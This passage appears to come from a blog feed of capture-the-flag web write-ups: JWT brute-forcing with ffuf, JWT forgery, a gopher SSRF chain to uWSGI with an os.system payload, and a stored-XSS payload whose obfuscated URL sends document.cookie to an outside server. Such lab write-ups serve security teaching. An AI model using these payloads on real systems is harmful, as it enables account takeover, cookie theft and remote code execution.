&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h5 id=&quot;part-3-fuzz-for-the-valid-jwt-using-ffuf&quot;&gt;Part 3: Fuzz for the valid JWT using FFUF.&lt;/h5&gt;
&lt;p&gt;Notice were fuzzing the dashbaord endpoint here because it will just redirect us to the admin panel if admin==true.&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;ffuf &lt;span class=&quot;nt&quot;&gt;-w&lt;/span&gt; jwt_wordlist.txt &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; http://127.0.0.1:1337/dashboard &lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Cookie: connect.sid=s%3AWUS4k4gfRYeSPmCM82JmtZJ-MpKfaCMl.O2yTw8lEsoyTVqQlgtPhqSsYW%2FFZvWz3nJvSLMg8FJE; session=FUZZ&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-mc&lt;/span&gt; all &lt;span class=&quot;nt&quot;&gt;-fs&lt;/span&gt; 29
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://i.imgflip.com/977kih.jpg&quot; title=&quot;Fuzzing the valid JWT&quot; width=&quot;100%&quot; /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;With that JWT, I was able to login as an admin and obtain the flag:&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://i.imgflip.com/977koz.jpg&quot; title=&quot;The Flag!!!&quot; width=&quot;100%&quot; /&gt;
&lt;/p&gt;

&lt;div class=&quot;custom-box success&quot;&gt;
    Dinvoice has been pwn3d!
&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
&lt;br /&gt;&lt;/p&gt;
</description>
        <pubDate>Thu, 27 Feb 2025 00:00:00 +0000</pubDate>
        <link>http://bugculture.io/writeups/web/dinvoice</link>
        <guid isPermaLink="true">http://bugculture.io/writeups/web/dinvoice</guid>
        
        <category>web</category>
        
        <category>ctf</category>
        
        <category>path-traversal</category>
        
        <category>weak-jwt-secret</category>
        
        <category>brute-force</category>
        
        <category>fuff</category>
        
        
      </item>
    
      <item>
        <title>Game Capsule</title>
        <description>&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://i.imgflip.com/96zbvn.jpg&quot; title=&quot;Game Capsule&quot; width=&quot;100%&quot; /&gt;
&lt;/p&gt;

&lt;h5 id=&quot;difficulty-easy&quot;&gt;Difficulty: &lt;b&gt;Easy&lt;/b&gt;&lt;/h5&gt;

&lt;h5 id=&quot;description&quot;&gt;Description:&lt;/h5&gt;
&lt;p&gt;A popular game-selling app is secretly offering a blacklisted, highly coveted game hidden from public view. Your mission is to hack into the app’s backend, bypass its security, and uncover the hidden game to add it to your collection. Can you outsmart the system and get the forbidden game in your hands?&lt;/p&gt;

&lt;h5 id=&quot;challenge&quot;&gt;Challenge:&lt;/h5&gt;
&lt;p&gt;This was a very easy web challenge. The application uses the username value in the JWT to determine when the flag renders on the index page. It renders the page differently depending on the username inside the JWT. So, I was able to forge a JWT for any user, in this case the “admin” user, and retrieve the flag.&lt;/p&gt;

&lt;h5 id=&quot;vulnerable-code&quot;&gt;Vulnerable Code:&lt;/h5&gt;
&lt;p&gt;Inside the AuthMiddleWare file there are two functions, the setcookie and the getcookie function. The getcookie function checks if the incoming request has a cookie, if not the setcookie function generates one with a randomly generated username, such as “guest_ewiufhu4h98hf”. It then signs the cookie.&lt;/p&gt;
&lt;h6 id=&quot;authmiddlewarejs-file&quot;&gt;AuthMiddleWare.js file:&lt;/h6&gt;
&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://i.imgflip.com/971zlf.jpg&quot; title=&quot;AuthMiddleWare&quot; width=&quot;100%&quot; /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;The routes file gets the cookie from the AuthMiddleWare and checks the value of the “username”, if it is equal to admin it reads the flag from /flag.txt and renders it on the index.html page, if the value is anything else, it just loads the index.html page without the flag.&lt;/p&gt;
&lt;h6 id=&quot;routesjs-file&quot;&gt;Routes.js file:&lt;/h6&gt;
&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://i.imgflip.com/972210.jpg&quot; title=&quot;routes.js&quot; width=&quot;100%&quot; /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h5 id=&quot;solution&quot;&gt;Solution:&lt;/h5&gt;
&lt;p&gt;After landing on the application, we notice there isn’t much in terms of functionality. Just a static page. So, with that, one of the first things I checked, was the esistence of a cookie using the developer tools. An sure enough there was a JWT sitting in my storage.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://i.imgflip.com/971yh6.jpg&quot; title=&quot;Cookie&quot; width=&quot;100%&quot; /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;I copied the JWT and pasted it into JWT.io (a JWT debugger) to analyze it. The username is defined in the cookie. I tried changing mine from guest_088u98u3498u89 to “admin” to see if the application would render the home page differently.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://i.imgflip.com/971z2r.jpg&quot; title=&quot;JWT.io&quot; width=&quot;100%&quot; /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;After copying the newly forged JWT, I pasted it into the storage and refreshed the page:&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://i.imgflip.com/971z7l.jpg&quot; title=&quot;The Flag&quot; width=&quot;100%&quot; /&gt;
&lt;/p&gt;

&lt;div class=&quot;custom-box success&quot;&gt;
    Game Capsule has been pwn3d!
&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
</description>
        <pubDate>Thu, 27 Feb 2025 00:00:00 +0000</pubDate>
        <link>http://bugculture.io/writeups/web/game-capsule</link>
        <guid isPermaLink="true">http://bugculture.io/writeups/web/game-capsule</guid>
        
        <category>web</category>
        
        <category>ctf</category>
        
        <category>jwt</category>
        
        <category>session-managment</category>
        
        
      </item>
    
      <item>
        <title>IOI SaveData</title>
        <description>&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://i.imgflip.com/977lta.jpg&quot; title=&quot;IOI SaveData&quot; width=&quot;90%&quot; /&gt;
&lt;/p&gt;

&lt;h5 id=&quot;difficulty-hard&quot;&gt;Difficulty: &lt;b&gt;Hard&lt;/b&gt;&lt;/h5&gt;

&lt;h5 id=&quot;description&quot;&gt;Description:&lt;/h5&gt;
&lt;p&gt;To help Art3mis escape from the IOI loyalty center, Parzival and Aech need to hack into Sorrento’s computer. They have discovered that IOI developed an exploit that lets them arbitrarily change the OASIS profile data of individual players. Sorrento has left the web interface for that profile editor exposed in his home network. Can you take a look and see if you can get inside?&lt;/p&gt;

&lt;h5 id=&quot;challenge&quot;&gt;Challenge:&lt;/h5&gt;
&lt;p&gt;This was the hardest web challenge of the CTF. It involved SSRF in a uWSGI application that allowed us to achieve RCE by interacting with the internal socket. I personally went down several rabbit holes during this challenge, attempting to exploit path traversal or achieve RCE by updating the profile name. I tried updating a profile to a uWSGI config file with an exec directive and conditional directive, hoping it would execute our when another profile was updated. The full exploit chain can be found &lt;a href=&quot;https://github.com.mcas-gov.us/rwincey/hacks/blob/main/uwsgi_rce.py&quot;&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;h5 id=&quot;vulnerable-code&quot;&gt;Vulnerable Code:&lt;/h5&gt;
&lt;p&gt;The scheme validation is flawed because it uses a filter function improperly, allowing invalid schemes like ftp, file, gopher or no protocol to bypass the check. Additionally, the domain check only restricts the domain to a specific value, leaving other internal domains/ips open.&lt;/p&gt;
&lt;h6 id=&quot;apputilpy-file&quot;&gt;/app/util.py file:&lt;/h6&gt;
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt; &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;get_profile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;domain&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;urlparse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hostname&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;scheme&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;urlparse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;scheme&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;filter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;lambda&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;scheme&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;http&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos; https&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;Scheme &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;scheme&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; is not allowed&apos;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;elif&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;domain&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;domain&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;ioi-corp.local&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;Domain &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;domain&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; is not allowed&apos;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;jsonData&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;loads&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;jsonData&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;Not a valid save data file&apos;&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;The port that uwsgi is listening on is port 5000, as seen below in the configuration file:&lt;/p&gt;

&lt;div class=&quot;language-ini highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nn&quot;&gt;[uwsgi]&lt;/span&gt;
&lt;span class=&quot;py&quot;&gt;module&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;wsgi:app&lt;/span&gt;

&lt;span class=&quot;py&quot;&gt;socket&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;127.0.0.1:5000&lt;/span&gt;
&lt;span class=&quot;py&quot;&gt;socket&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;/tmp/uwsgi.sock&lt;/span&gt;

&lt;span class=&quot;py&quot;&gt;chown-socket&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;www-data:www-data&lt;/span&gt;
&lt;span class=&quot;py&quot;&gt;chmod-socket&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;664&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h5 id=&quot;solution&quot;&gt;Solution&lt;/h5&gt;

&lt;h5 id=&quot;part-1-create-the-python-payload-and-insert-it-into-one-of-the-profiles&quot;&gt;Part 1: Create the python payload and insert it into one of the profiles:&lt;/h5&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;os&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/readflag &amp;gt; /app/profiles/IOI-655323.json&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h5 id=&quot;part-2-execute-ssrf-payload-via-the-import-profile-route&quot;&gt;Part 2: Execute SSRF payload via the import profile route&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-URL&quot;&gt;gopher:///127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/IOI-655321.json%0B%00SCRIPT_NAME%10%00/IOI-655321.json
&lt;/code&gt;&lt;/pre&gt;

&lt;h5 id=&quot;payload-breakdown&quot;&gt;Payload Breakdown:&lt;/h5&gt;
&lt;p&gt;Using the Gopher protocol through the SSRF, we can interact with uWSGI on its internal port (5000). Basically, if we can get Python code inside a file (we can, the JSON file) we can use our control over uwsgi to load/execute it. We can interact with uwsgi using magic variables. More on this can be found in the uwsgi docs &lt;a href=&quot;https://uwsgi-docs.readthedocs.io/en/latest/Vars.html&quot;&gt;here&lt;/a&gt;. 
&lt;br /&gt;
After hitting import, it will say “Not a valid save data file”, but if we load the profile that we sent the flag.. we see it actually worked!&lt;/p&gt;

&lt;h5 id=&quot;the-flag&quot;&gt;The Flag:&lt;/h5&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://i.imgflip.com/977qkt.jpg&quot; title=&quot;The Flag!!!&quot; width=&quot;100%&quot; /&gt;
&lt;/p&gt;

&lt;div class=&quot;custom-box success&quot;&gt;
    IoI Savedata has been pwn3d!
&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
&lt;br /&gt;&lt;/p&gt;
</description>
        <pubDate>Thu, 27 Feb 2025 00:00:00 +0000</pubDate>
        <link>http://bugculture.io/writeups/web/ioi-savedata</link>
        <guid isPermaLink="true">http://bugculture.io/writeups/web/ioi-savedata</guid>
        
        <category>web</category>
        
        <category>ctf</category>
        
        <category>ssrf</category>
        
        <category>uwsgi</category>
        
        <category>magic-variables</category>
        
        <category>python</category>
        
        
      </item>
    
      <item>
        <title>Notesy</title>
        <description>&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://i.imgflip.com/978447.jpg&quot; title=&quot;IOI SaveData&quot; width=&quot;90%&quot; /&gt;
&lt;/p&gt;

&lt;h5 id=&quot;difficulty-hard&quot;&gt;Difficulty: &lt;b&gt;Hard&lt;/b&gt;&lt;/h5&gt;

&lt;h5 id=&quot;description&quot;&gt;Description:&lt;/h5&gt;
&lt;p&gt;You’ve been hired by a tech company to review their new note-taking app, “Notesy.” The app allows users to create and manage notes with a focus on security. Your role is to assess the application for any potential vulnerabilities to ensure user data is well protected.&lt;/p&gt;

&lt;h5 id=&quot;challenge&quot;&gt;Challenge:&lt;/h5&gt;
&lt;p&gt;This one was particulary easy. It’s a basic stored XSS vulnerability that we exploit to steal the admin’s cookie, which contains the flag. Payloads with single or double quotes are blocked, but we can bypass this by HTML encoding the quotes. Another minor issue we encountered was with using fetch(), but we worked around it by using an image request instead.&lt;/p&gt;

&lt;h5 id=&quot;vulnerable-code&quot;&gt;Vulnerable Code:&lt;/h5&gt;
&lt;h6 id=&quot;apppy-file&quot;&gt;/app.py file:&lt;/h6&gt;
&lt;p&gt;The is_safe_content() function only checks for single (‘) and double (“) quotes, but this is an insufficient filter, which we are able to bypass.&lt;/p&gt;
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;re&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;search&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;[\&apos;&quot;]&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;decoded_content&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;re&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IGNORECASE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h5 id=&quot;solution&quot;&gt;Solution&lt;/h5&gt;
&lt;p&gt;When navigating the application, we see that we can create notes and submit reports. The title and content parameters accept user input but only sanitize single and double quotes, making it trivial to get XSS payloads to execute. When we create a note, it is assigned a unique identifier. This is where the report feature becomes useful — we can submit these note URLs to the admin (bot) for “review”. Looking at the source code, we notice that the flag is stored in the admin’s cookie. Now, we just need to craft a payload that sends the cookie to our server. While fetch() didn’t work, I switched to using an image request instead. This worked when I tested it with my own cookie.
&lt;br /&gt;&lt;/p&gt;

&lt;h5 id=&quot;payload&quot;&gt;Payload:&lt;/h5&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;img&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;src&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;onerror&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;src&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fromCharCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;104&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;116&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;116&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;112&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;58&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;47&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;47&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;49&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;57&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;50&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;46&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;49&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;54&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;56&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;46&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;49&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;54&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;50&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;46&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;49&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;56&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;51&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;58&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;49&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;50&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;51&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;52&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&amp;amp;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;quot&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;cookie=&amp;amp;quot;+document.cookie&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;
&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Finally, I set up a Python server and submitted the note with the XSS payload to the admin. A few seconds later, I received the admin’s cookie containing the flag.&lt;/p&gt;
&lt;h5 id=&quot;the-flag&quot;&gt;The Flag:&lt;/h5&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://i.imgflip.com/9785t1.jpg&quot; title=&quot;The Flag!!!&quot; width=&quot;90%&quot; /&gt;
&lt;/p&gt;

&lt;div class=&quot;custom-box success&quot;&gt;
    Notesy has been pwn3d!
&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
